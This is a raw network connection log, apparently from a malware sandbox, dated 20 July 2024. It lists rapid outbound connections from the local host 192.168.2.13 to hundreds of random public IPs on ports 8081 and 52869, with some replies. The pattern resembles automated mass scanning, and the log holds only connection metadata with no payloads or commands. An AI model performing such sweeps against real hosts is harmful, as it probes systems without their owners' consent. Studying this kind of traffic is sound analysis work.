Jul 20, 2024 23:00:59.699031115 CEST	50565	8081	192.168.2.13	161.164.102.49
Jul 20, 2024 23:00:59.699031115 CEST	50565	8081	192.168.2.13	218.132.77.53
Jul 20, 2024 23:00:59.699031115 CEST	50565	8081	192.168.2.13	220.47.29.50
Jul 20, 2024 23:00:59.699032068 CEST	50565	8081	192.168.2.13	65.218.47.80
Jul 20, 2024 23:00:59.699032068 CEST	50565	8081	192.168.2.13	9.128.255.48
Jul 20, 2024 23:00:59.700005054 CEST	8081	50565	79.155.14.64	192.168.2.13
Jul 20, 2024 23:00:59.700227976 CEST	50566	52869	192.168.2.13	210.88.193.224
Jul 20, 2024 23:00:59.700227976 CEST	50566	52869	192.168.2.13	27.127.119.9
Jul 20, 2024 23:00:59.700227976 CEST	50566	52869	192.168.2.13	161.59.114.51
Jul 20, 2024 23:00:59.700227976 CEST	50566	52869	192.168.2.13	109.198.245.245
Jul 20, 2024 23:00:59.700227976 CEST	50566	52869	192.168.2.13	158.174.113.192
Jul 20, 2024 23:00:59.700228930 CEST	50566	52869	192.168.2.13	150.242.250.39
Jul 20, 2024 23:00:59.700228930 CEST	50566	52869	192.168.2.13	14.247.240.209
Jul 20, 2024 23:00:59.700228930 CEST	50566	52869	192.168.2.13	114.70.26.237
Jul 20, 2024 23:00:59.700561047 CEST	8081	50565	174.8.73.34	192.168.2.13
Jul 20, 2024 23:00:59.700711966 CEST	50566	52869	192.168.2.13	176.97.130.211
Jul 20, 2024 23:00:59.700711966 CEST	50566	52869	192.168.2.13	222.39.86.137
Jul 20, 2024 23:00:59.700711966 CEST	50566	52869	192.168.2.13	59.47.23.204
Jul 20, 2024 23:00:59.700711966 CEST	50566	52869	192.168.2.13	103.8.126.230
Jul 20, 2024 23:00:59.700711966 CEST	50566	52869	192.168.2.13	63.53.112.27
Jul 20, 2024 23:00:59.700712919 CEST	50566	52869	192.168.2.13	94.22.141.38
Jul 20, 2024 23:00:59.700712919 CEST	50566	52869	192.168.2.13	146.106.189.217
Jul 20, 2024 23:00:59.700712919 CEST	50566	52869	192.168.2.13	213.2.150.93
Jul 20, 2024 23:00:59.701015949 CEST	52869	50566	151.13.68.174	192.168.2.13
Jul 20, 2024 23:00:59.701221943 CEST	50565	8081	192.168.2.13	25.66.102.223
Jul 20, 2024 23:00:59.701425076 CEST	8081	50565	82.237.144.131	192.168.2.13
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	36.1.125.125
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	63.255.255.64
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	111.195.235.221
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	75.133.26.28
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	115.235.85.145
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	133.159.93.140
Jul 20, 2024 23:00:59.701534033 CEST	50565	8081	192.168.2.13	208.137.192.41
Jul 20, 2024 23:00:59.702197075 CEST	50565	8081	192.168.2.13	95.99.81.46
Jul 20, 2024 23:00:59.702197075 CEST	50565	8081	192.168.2.13	19.51.47.12
Jul 20, 2024 23:00:59.702197075 CEST	50565	8081	192.168.2.13	136.9.242.208
Jul 20, 2024 23:00:59.702197075 CEST	50565	8081	192.168.2.13	90.132.149.111
Jul 20, 2024 23:00:59.702198029 CEST	50565	8081	192.168.2.13	75.73.214.62
Jul 20, 2024 23:00:59.702198029 CEST	50565	8081	192.168.2.13	74.175.215.222
Jul 20, 2024 23:00:59.702198029 CEST	50565	8081	192.168.2.13	59.197.234.216
Jul 20, 2024 23:00:59.702198029 CEST	50565	8081	192.168.2.13	110.181.129.198
Jul 20, 2024 23:00:59.702393055 CEST	52869	50566	217.166.148.24	192.168.2.13
Jul 20, 2024 23:00:59.702822924 CEST	8081	50565	207.215.64.146	192.168.2.13
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	57.79.23.111
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	159.166.150.249
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	161.225.125.87
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	54.79.145.235
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	128.72.103.105
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	83.133.77.32
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	23.113.241.229
Jul 20, 2024 23:00:59.703236103 CEST	50566	52869	192.168.2.13	19.236.44.75
Jul 20, 2024 23:00:59.703557014 CEST	52869	50566	150.5.224.87	192.168.2.13
Jul 20, 2024 23:00:59.704325914 CEST	8081	50565	197.116.23.158	192.168.2.13
Jul 20, 2024 23:00:59.704370975 CEST	8081	50565	38.92.111.9	192.168.2.13
Jul 20, 2024 23:00:59.704776049 CEST	8081	50565	44.35.13.144	192.168.2.13
Jul 20, 2024 23:00:59.704790115 CEST	8081	50565	66.202.228.53	192.168.2.13
Jul 20, 2024 23:00:59.704823017 CEST	50566	52869	192.168.2.13	97.17.203.2
Jul 20, 2024 23:00:59.704823017 CEST	50566	52869	192.168.2.13	64.151.74.249
Jul 20, 2024 23:00:59.704823017 CEST	50566	52869	192.168.2.13	222.52.249.128
Jul 20, 2024 23:00:59.704823017 CEST	50566	52869	192.168.2.13	63.113.121.216
Jul 20, 2024 23:00:59.704823971 CEST	50566	52869	192.168.2.13	71.10.136.234
Jul 20, 2024 23:00:59.704823971 CEST	50566	52869	192.168.2.13	155.58.66.2
Jul 20, 2024 23:00:59.704823971 CEST	50566	52869	192.168.2.13	39.24.92.51
Jul 20, 2024 23:00:59.704823971 CEST	50566	52869	192.168.2.13	52.254.173.132
Jul 20, 2024 23:00:59.705037117 CEST	8081	50565	99.244.107.131	192.168.2.13
Jul 20, 2024 23:00:59.705329895 CEST	8081	50565	13.18.108.245	192.168.2.13
Jul 20, 2024 23:00:59.705358028 CEST	52869	50566	144.37.33.124	192.168.2.13
Jul 20, 2024 23:00:59.705373049 CEST	8081	50565	57.172.25.79	192.168.2.13
Jul 20, 2024 23:00:59.705387115 CEST	8081	50565	219.251.51.54	192.168.2.13
Jul 20, 2024 23:00:59.705404043 CEST	8081	50565	148.251.11.4	192.168.2.13
Jul 20, 2024 23:00:59.705775023 CEST	8081	50565	161.164.102.49	192.168.2.13
Jul 20, 2024 23:00:59.705920935 CEST	8081	50565	218.132.77.53	192.168.2.13
Jul 20, 2024 23:00:59.706012964 CEST	50566	52869	192.168.2.13	108.155.18.150
Jul 20, 2024 23:00:59.706012964 CEST	50566	52869	192.168.2.13	136.118.42.92
Jul 20, 2024 23:00:59.706012964 CEST	50566	52869	192.168.2.13	40.176.43.226
Jul 20, 2024 23:00:59.706012964 CEST	50566	52869	192.168.2.13	187.245.206.15
Jul 20, 2024 23:00:59.706012964 CEST	50566	52869	192.168.2.13	193.35.80.188
Jul 20, 2024 23:00:59.706012964 CEST	50566	52869	192.168.2.13	136.188.106.216
Jul 20, 2024 23:00:59.706012964 CEST	50565	8081	192.168.2.13	163.100.78.117
Jul 20, 2024 23:00:59.706422091 CEST	8081	50565	220.47.29.50	192.168.2.13
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	106.52.71.110
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	44.170.154.28
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	149.29.181.151
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	115.253.204.113
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	86.3.194.178
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	217.75.180.237
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	77.179.166.110
Jul 20, 2024 23:00:59.706532955 CEST	50566	52869	192.168.2.13	19.218.88.191
Jul 20, 2024 23:00:59.706548929 CEST	8081	50565	65.218.47.80	192.168.2.13
Jul 20, 2024 23:00:59.706733942 CEST	8081	50565	9.128.255.48	192.168.2.13
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	122.13.88.118
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	93.9.164.62
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	204.113.232.96
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	119.250.210.176
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	190.230.8.44
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	97.133.54.66
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	76.128.213.176
Jul 20, 2024 23:00:59.706926107 CEST	50565	8081	192.168.2.13	79.155.14.64
Jul 20, 2024 23:00:59.707696915 CEST	8081	50565	36.1.125.125	192.168.2.13
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	60.124.38.6
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	43.58.77.121
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	13.141.158.116
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	131.99.241.191
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	138.14.17.93
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	43.46.105.92
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	173.100.97.136
Jul 20, 2024 23:00:59.707832098 CEST	50566	52869	192.168.2.13	96.22.181.88
Jul 20, 2024 23:00:59.707946062 CEST	8081	50565	63.255.255.64	192.168.2.13
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	35.242.8.248
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	40.152.73.54
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	198.29.21.114
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	163.94.16.189
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	186.96.245.91
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	222.152.101.57
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	125.18.247.202
Jul 20, 2024 23:00:59.708585978 CEST	50565	8081	192.168.2.13	77.87.98.76
Jul 20, 2024 23:00:59.708791971 CEST	52869	50566	223.100.213.77	192.168.2.13
Jul 20, 2024 23:00:59.708985090 CEST	8081	50565	111.195.235.221	192.168.2.13
Jul 20, 2024 23:00:59.709366083 CEST	52869	50566	57.239.108.104	192.168.2.13
Jul 20, 2024 23:00:59.709650040 CEST	50566	52869	192.168.2.13	58.202.18.250
Jul 20, 2024 23:00:59.709650040 CEST	50566	52869	192.168.2.13	140.26.197.97
Jul 20, 2024 23:00:59.709650040 CEST	50566	52869	192.168.2.13	156.80.250.98
Jul 20, 2024 23:00:59.709650040 CEST	50566	52869	192.168.2.13	86.33.194.195
Jul 20, 2024 23:00:59.709650040 CEST	50566	52869	192.168.2.13	64.34.232.233
Jul 20, 2024 23:00:59.709650040 CEST	50566	52869	192.168.2.13	72.58.3.66
Jul 20, 2024 23:00:59.709650040 CEST	50565	8081	192.168.2.13	191.192.199.137
Jul 20, 2024 23:00:59.709650040 CEST	50565	8081	192.168.2.13	32.142.90.130
Jul 20, 2024 23:00:59.710340977 CEST	52869	50566	90.25.120.96	192.168.2.13
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	39.24.16.217
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	64.106.158.20
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	176.80.116.39
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	19.134.177.139
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	154.249.10.175
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	48.238.6.13
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	129.108.183.14
Jul 20, 2024 23:00:59.710802078 CEST	50565	8081	192.168.2.13	103.54.28.100
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	174.8.73.34
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	82.237.144.131
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	207.215.64.146
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	197.116.23.158
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	38.92.111.9
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	44.35.13.144
Jul 20, 2024 23:00:59.710901022 CEST	50565	8081	192.168.2.13	66.202.228.53
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	200.64.198.138
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	159.84.221.97
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	64.118.165.201
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	108.69.161.226
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	218.5.234.93
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	132.76.186.150
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	23.178.29.51
Jul 20, 2024 23:00:59.711442947 CEST	50566	52869	192.168.2.13	168.190.155.152
Jul 20, 2024 23:00:59.712840080 CEST	52869	50566	98.130.58.32	192.168.2.13
Jul 20, 2024 23:00:59.713422060 CEST	52869	50566	60.124.38.6	192.168.2.13
Jul 20, 2024 23:00:59.713498116 CEST	50566	52869	192.168.2.13	38.170.112.113
Jul 20, 2024 23:00:59.713498116 CEST	50566	52869	192.168.2.13	204.154.47.77
Jul 20, 2024 23:00:59.713499069 CEST	50566	52869	192.168.2.13	157.99.246.174
Jul 20, 2024 23:00:59.713499069 CEST	50566	52869	192.168.2.13	220.28.16.178
Jul 20, 2024 23:00:59.713499069 CEST	50566	52869	192.168.2.13	139.39.171.95
Jul 20, 2024 23:00:59.713499069 CEST	50566	52869	192.168.2.13	58.43.180.221
Jul 20, 2024 23:00:59.713499069 CEST	50566	52869	192.168.2.13	32.203.65.218
Jul 20, 2024 23:00:59.713499069 CEST	50566	52869	192.168.2.13	202.179.162.136
Jul 20, 2024 23:00:59.713754892 CEST	8081	50565	163.100.78.117	192.168.2.13
Jul 20, 2024 23:00:59.713884115 CEST	50566	52869	192.168.2.13	123.123.158.124
Jul 20, 2024 23:00:59.713884115 CEST	50566	52869	192.168.2.13	60.231.165.181
Jul 20, 2024 23:00:59.713884115 CEST	50566	52869	192.168.2.13	27.117.126.38
Jul 20, 2024 23:00:59.713884115 CEST	50566	52869	192.168.2.13	39.27.230.217
Jul 20, 2024 23:00:59.713884115 CEST	50566	52869	192.168.2.13	4.1.237.133
Jul 20, 2024 23:00:59.713885069 CEST	50566	52869	192.168.2.13	67.61.127.170
Jul 20, 2024 23:00:59.713885069 CEST	50566	52869	192.168.2.13	97.170.90.251
Jul 20, 2024 23:00:59.713885069 CEST	50566	52869	192.168.2.13	32.188.169.151
Jul 20, 2024 23:00:59.714195967 CEST	8081	50565	35.242.8.248	192.168.2.13
Jul 20, 2024 23:00:59.714245081 CEST	8081	50565	40.152.73.54	192.168.2.13
Jul 20, 2024 23:00:59.714721918 CEST	8081	50565	198.29.21.114	192.168.2.13
Jul 20, 2024 23:00:59.714773893 CEST	8081	50565	163.94.16.189	192.168.2.13
Jul 20, 2024 23:00:59.714853048 CEST	8081	50565	186.96.245.91	192.168.2.13
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	60.37.134.83
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	152.19.177.105
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	24.241.18.135
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	122.67.236.249
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	13.4.88.88
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	106.57.64.161
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	97.134.202.3
Jul 20, 2024 23:00:59.714857101 CEST	50566	52869	192.168.2.13	216.200.124.108
Jul 20, 2024 23:00:59.714884996 CEST	8081	50565	222.152.101.57	192.168.2.13
Jul 20, 2024 23:00:59.715346098 CEST	52869	50566	43.58.77.121	192.168.2.13
Jul 20, 2024 23:00:59.715607882 CEST	8081	50565	125.18.247.202	192.168.2.13
Jul 20, 2024 23:00:59.715749979 CEST	8081	50565	77.87.98.76	192.168.2.13
Jul 20, 2024 23:00:59.716264963 CEST	52869	50566	13.141.158.116	192.168.2.13
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	70.93.230.140
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	189.35.158.192
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	191.104.195.119
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	69.225.180.54
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	23.111.134.91
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	34.217.225.131
Jul 20, 2024 23:00:59.716592073 CEST	50565	8081	192.168.2.13	213.11.211.140
Jul 20, 2024 23:00:59.716593027 CEST	50565	8081	192.168.2.13	83.173.184.24
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	99.244.107.131
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	13.18.108.245
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	219.251.51.54
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	57.172.25.79
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	148.251.11.4
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	161.164.102.49
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	218.132.77.53
Jul 20, 2024 23:00:59.716979027 CEST	50565	8081	192.168.2.13	220.47.29.50
Jul 20, 2024 23:00:59.717027903 CEST	8081	50565	39.24.16.217	192.168.2.13
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	190.181.73.6
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	182.81.29.110
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	31.5.27.49
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	35.227.210.137
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	167.70.107.202
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	62.234.113.13
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	85.108.106.41
Jul 20, 2024 23:00:59.717180967 CEST	50566	52869	192.168.2.13	142.248.82.30
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	222.139.190.96
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	77.61.66.36
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	169.182.30.48
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	85.113.111.56
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	64.254.245.72
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	218.89.18.26
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	1.144.63.65
Jul 20, 2024 23:00:59.717606068 CEST	50566	52869	192.168.2.13	221.98.150.96
Jul 20, 2024 23:00:59.717778921 CEST	52869	50566	131.99.241.191	192.168.2.13
Jul 20, 2024 23:00:59.717825890 CEST	52869	50566	138.14.17.93	192.168.2.13
Jul 20, 2024 23:00:59.717916965 CEST	52869	50566	43.46.105.92	192.168.2.13
Jul 20, 2024 23:00:59.717946053 CEST	8081	50565	64.106.158.20	192.168.2.13
Jul 20, 2024 23:00:59.718425035 CEST	52869	50566	173.100.97.136	192.168.2.13
Jul 20, 2024 23:00:59.718522072 CEST	50565	8081	192.168.2.13	125.182.17.174
Jul 20, 2024 23:00:59.718522072 CEST	50565	8081	192.168.2.13	159.169.98.244
Jul 20, 2024 23:00:59.718523026 CEST	50565	8081	192.168.2.13	18.196.55.218
Jul 20, 2024 23:00:59.718523026 CEST	50565	8081	192.168.2.13	66.249.161.130
Jul 20, 2024 23:00:59.718523026 CEST	50565	8081	192.168.2.13	163.100.78.117
Jul 20, 2024 23:00:59.718523026 CEST	50565	8081	192.168.2.13	35.242.8.248
Jul 20, 2024 23:00:59.718739986 CEST	52869	50566	96.22.181.88	192.168.2.13
Jul 20, 2024 23:00:59.719070911 CEST	52869	50566	38.170.112.113	192.168.2.13
Jul 20, 2024 23:00:59.719229937 CEST	8081	50565	176.80.116.39	192.168.2.13
Jul 20, 2024 23:00:59.720051050 CEST	52869	50566	204.154.47.77	192.168.2.13
Jul 20, 2024 23:00:59.720182896 CEST	52869	50566	157.99.246.174	192.168.2.13
Jul 20, 2024 23:00:59.720185041 CEST	50566	52869	192.168.2.13	19.246.93.131
Jul 20, 2024 23:00:59.720185041 CEST	50566	52869	192.168.2.13	24.227.65.96
Jul 20, 2024 23:00:59.720185995 CEST	50566	52869	192.168.2.13	185.132.110.212
Jul 20, 2024 23:00:59.720185995 CEST	50566	52869	192.168.2.13	38.251.137.53
Jul 20, 2024 23:00:59.720185995 CEST	50566	52869	192.168.2.13	138.143.89.164
Jul 20, 2024 23:00:59.720185995 CEST	50566	52869	192.168.2.13	146.77.88.156
Jul 20, 2024 23:00:59.720185995 CEST	50566	52869	192.168.2.13	93.171.171.184
Jul 20, 2024 23:00:59.720185995 CEST	50566	52869	192.168.2.13	91.46.191.190
Jul 20, 2024 23:00:59.720463037 CEST	8081	50565	19.134.177.139	192.168.2.13
Jul 20, 2024 23:00:59.720566988 CEST	8081	50565	191.192.199.137	192.168.2.13
Jul 20, 2024 23:00:59.720747948 CEST	52869	50566	220.28.16.178	192.168.2.13
Jul 20, 2024 23:00:59.720781088 CEST	8081	50565	154.249.10.175	192.168.2.13
Jul 20, 2024 23:00:59.721292019 CEST	52869	50566	139.39.171.95	192.168.2.13
Jul 20, 2024 23:00:59.721347094 CEST	8081	50565	48.238.6.13	192.168.2.13
Jul 20, 2024 23:00:59.721471071 CEST	52869	50566	58.43.180.221	192.168.2.13
Jul 20, 2024 23:00:59.721502066 CEST	8081	50565	32.142.90.130	192.168.2.13
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	40.152.73.54
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	198.29.21.114
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	163.94.16.189
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	186.96.245.91
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	222.152.101.57
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	125.18.247.202
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	77.87.98.76
Jul 20, 2024 23:00:59.721771955 CEST	50565	8081	192.168.2.13	39.24.16.217
Jul 20, 2024 23:00:59.721868038 CEST	50565	8081	192.168.2.13	65.218.47.80
Jul 20, 2024 23:00:59.721868038 CEST	50565	8081	192.168.2.13	9.128.255.48
Jul 20, 2024 23:00:59.721868038 CEST	50565	8081	192.168.2.13	36.1.125.125
Jul 20, 2024 23:00:59.721868038 CEST	50565	8081	192.168.2.13	63.255.255.64
Jul 20, 2024 23:00:59.721868038 CEST	50565	8081	192.168.2.13	111.195.235.221
Jul 20, 2024 23:00:59.721991062 CEST	50565	8081	192.168.2.13	43.3.205.152
Jul 20, 2024 23:00:59.721991062 CEST	50565	8081	192.168.2.13	47.235.211.239
Jul 20, 2024 23:00:59.721991062 CEST	50565	8081	192.168.2.13	191.192.199.137
Jul 20, 2024 23:00:59.722394943 CEST	50566	52869	192.168.2.13	60.224.36.74
Jul 20, 2024 23:00:59.722394943 CEST	50566	52869	192.168.2.13	138.90.155.182
Jul 20, 2024 23:00:59.722394943 CEST	50566	52869	192.168.2.13	74.121.221.104
Jul 20, 2024 23:00:59.722395897 CEST	50566	52869	192.168.2.13	20.179.92.201
Jul 20, 2024 23:00:59.722395897 CEST	50566	52869	192.168.2.13	170.181.122.68
Jul 20, 2024 23:00:59.722395897 CEST	50566	52869	192.168.2.13	223.80.176.90
Jul 20, 2024 23:00:59.722395897 CEST	50566	52869	192.168.2.13	46.249.226.40
Jul 20, 2024 23:00:59.722395897 CEST	50566	52869	192.168.2.13	198.77.241.190
Jul 20, 2024 23:00:59.722887039 CEST	52869	50566	32.203.65.218	192.168.2.13
Jul 20, 2024 23:00:59.722940922 CEST	8081	50565	129.108.183.14	192.168.2.13
Jul 20, 2024 23:00:59.722986937 CEST	8081	50565	70.93.230.140	192.168.2.13
Jul 20, 2024 23:00:59.723017931 CEST	52869	50566	202.179.162.136	192.168.2.13
Jul 20, 2024 23:00:59.723048925 CEST	52869	50566	222.139.190.96	192.168.2.13
Jul 20, 2024 23:00:59.723270893 CEST	8081	50565	189.35.158.192	192.168.2.13
Jul 20, 2024 23:00:59.723407984 CEST	8081	50565	103.54.28.100	192.168.2.13
Jul 20, 2024 23:00:59.723754883 CEST	8081	50565	191.104.195.119	192.168.2.13
Jul 20, 2024 23:00:59.723895073 CEST	50565	8081	192.168.2.13	32.142.90.130
Jul 20, 2024 23:00:59.723895073 CEST	50565	8081	192.168.2.13	70.93.230.140
Jul 20, 2024 23:00:59.723895073 CEST	50565	8081	192.168.2.13	189.35.158.192
Jul 20, 2024 23:00:59.723896027 CEST	50565	8081	192.168.2.13	191.104.195.119
Jul 20, 2024 23:00:59.724379063 CEST	52869	50566	77.61.66.36	192.168.2.13
Jul 20, 2024 23:00:59.724421978 CEST	52869	50566	169.182.30.48	192.168.2.13
Jul 20, 2024 23:00:59.724555969 CEST	8081	50565	125.182.17.174	192.168.2.13
Jul 20, 2024 23:00:59.725001097 CEST	8081	50565	159.169.98.244	192.168.2.13
Jul 20, 2024 23:00:59.725018978 CEST	52869	50566	85.113.111.56	192.168.2.13
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	201.79.230.83
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	54.88.80.47
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	185.39.37.26
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	5.232.98.225
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	130.53.40.71
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	186.52.104.243
Jul 20, 2024 23:00:59.725159883 CEST	50566	52869	192.168.2.13	188.116.105.216
Jul 20, 2024 23:00:59.725425005 CEST	34450	52869	192.168.2.13	112.104.240.153
Jul 20, 2024 23:00:59.725574017 CEST	8081	50565	18.196.55.218	192.168.2.13
Jul 20, 2024 23:00:59.725590944 CEST	8081	50565	69.225.180.54	192.168.2.13
Jul 20, 2024 23:00:59.725604057 CEST	8081	50565	66.249.161.130	192.168.2.13
Jul 20, 2024 23:00:59.725675106 CEST	50565	8081	192.168.2.13	69.225.180.54
Jul 20, 2024 23:00:59.726432085 CEST	8081	50565	23.111.134.91	192.168.2.13
Jul 20, 2024 23:00:59.726475954 CEST	50565	8081	192.168.2.13	23.111.134.91
Jul 20, 2024 23:00:59.726650953 CEST	8081	50565	34.217.225.131	192.168.2.13
Jul 20, 2024 23:00:59.726672888 CEST	52869	50566	64.254.245.72	192.168.2.13
Jul 20, 2024 23:00:59.726722002 CEST	50565	8081	192.168.2.13	64.106.158.20
Jul 20, 2024 23:00:59.726722002 CEST	50565	8081	192.168.2.13	176.80.116.39
Jul 20, 2024 23:00:59.726722002 CEST	50565	8081	192.168.2.13	19.134.177.139
Jul 20, 2024 23:00:59.726722002 CEST	50565	8081	192.168.2.13	154.249.10.175
Jul 20, 2024 23:00:59.726722002 CEST	50565	8081	192.168.2.13	48.238.6.13
Jul 20, 2024 23:00:59.726722002 CEST	50565	8081	192.168.2.13	129.108.183.14
Jul 20, 2024 23:00:59.726808071 CEST	50565	8081	192.168.2.13	34.217.225.131
Jul 20, 2024 23:00:59.726969004 CEST	8081	50565	213.11.211.140	192.168.2.13
Jul 20, 2024 23:00:59.727024078 CEST	50565	8081	192.168.2.13	213.11.211.140
Jul 20, 2024 23:00:59.727123022 CEST	8081	50565	83.173.184.24	192.168.2.13
Jul 20, 2024 23:00:59.727138996 CEST	50566	52869	192.168.2.13	166.58.212.1
Jul 20, 2024 23:00:59.727138996 CEST	50566	52869	192.168.2.13	202.119.16.222
Jul 20, 2024 23:00:59.727138996 CEST	50566	52869	192.168.2.13	218.176.198.162
Jul 20, 2024 23:00:59.727139950 CEST	50566	52869	192.168.2.13	139.222.51.251
Jul 20, 2024 23:00:59.727139950 CEST	50566	52869	192.168.2.13	144.133.179.158
Jul 20, 2024 23:00:59.727139950 CEST	50565	8081	192.168.2.13	62.119.217.171
